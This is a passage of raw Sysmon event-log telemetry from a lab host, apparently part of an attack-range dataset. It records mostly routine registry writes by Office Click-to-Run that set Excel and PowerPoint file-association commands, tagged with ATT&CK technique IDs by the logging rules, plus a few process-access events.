"%%1" 13241300x800000000000000040121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.862{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.OpenDocumentPresentation.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.862{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.OpenDocumentPresentation.12\shell\Show\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" 13241300x800000000000000040119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.862{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.OpenDocumentPresentation.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.862{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.OpenDocumentPresentation.12\shell\OpenAsReadOnly\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /h "%%1" 13241300x800000000000000040117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.862{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.OpenDocumentPresentation.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.862{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.OpenDocumentPresentation.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.862{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.OpenDocumentPresentation.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 10341000x800000000000000040114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.862{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5B08-00000000F001}4544C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ODCfile\shell\EditText\command\(Default)%%SystemRoot%%\System32\notepad.exe "%%1" 13241300x800000000000000040112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ODCfile\shell\Edit\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE /y 13241300x800000000000000040111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ODCfile\shell\Analyze\ddeexec\(Default)(Empty) 13241300x800000000000000040110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ODCfile\shell\Analyze\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE "%%1" 13241300x800000000000000040109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-excel\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.WebQuery\shell\edit\ddeexec\topic\(Default)system 13241300x800000000000000040107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.WebQuery\shell\edit\ddeexec\(Default)[new()][newwebquery?("%%1")] 13241300x800000000000000040106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.WebQuery\shell\edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /w "%%1" 13241300x800000000000000040105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.UriLink.16\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 10341000x800000000000000040104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.846{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5B08-00000000F001}4544C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.846{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5B08-00000000F001}4544C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.831{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000040101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.831{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart\shell\Print\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE /q "%%1" 13241300x800000000000000040100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.831{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000040099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.831{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart\shell\Open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE "%%1" 13241300x800000000000000040098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.831{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart.8\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000040097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.831{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000040096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart.8\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000040095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000040094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart.8\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000040093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Chart.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000040092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Workspace\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000040091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Workspace\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000040090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Workspace\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000040089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Workspace\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000040088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\ViewProtected\ddeexec\(Default)(Empty) 13241300x800000000000000040087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000040086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\Printto\ddeexec\(Default)(Empty) 13241300x800000000000000040085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" /j "%%2" 13241300x800000000000000040084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000040083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000040082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\OpenAsReadOnly\ddeexec\(Default)(Empty) 13241300x800000000000000040081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /h "%%1" 13241300x800000000000000040080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000040079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000040078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000040077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000040076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 13241300x800000000000000040075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\ViewProtected\ddeexec\(Default)(Empty) 13241300x800000000000000040074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000040073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\Printto\ddeexec\(Default)(Empty) 13241300x800000000000000040072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" /j "%%2" 13241300x800000000000000040071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000040070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 23542300x800000000000000040069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.799{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5ED71E64A25A95D1BD0C8D3C72AD706B,SHA256=7E69AE0D24007DE6F7BD5948352135325EDF55879FE3AAA206BE422D459482B0,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\OpenAsReadOnly\ddeexec\(Default)(Empty) 13241300x800000000000000040067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /h "%%1" 13241300x800000000000000040066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000040065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000040064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000040063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000040062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\Edit\ddeexec\(Default)(Empty) 13241300x800000000000000040061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.TemplateMacroEnabled\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 13241300x800000000000000040060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excelhtmltemplate\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" 13241300x800000000000000040059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\ViewProtected\ddeexec\(Default)(Empty) 10341000x800000000000000040058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.784{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5A08-00000000F001}6380C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000040056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\Printto\ddeexec\(Default)(Empty) 13241300x800000000000000040055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" /j "%%2" 13241300x800000000000000040054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000040053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft 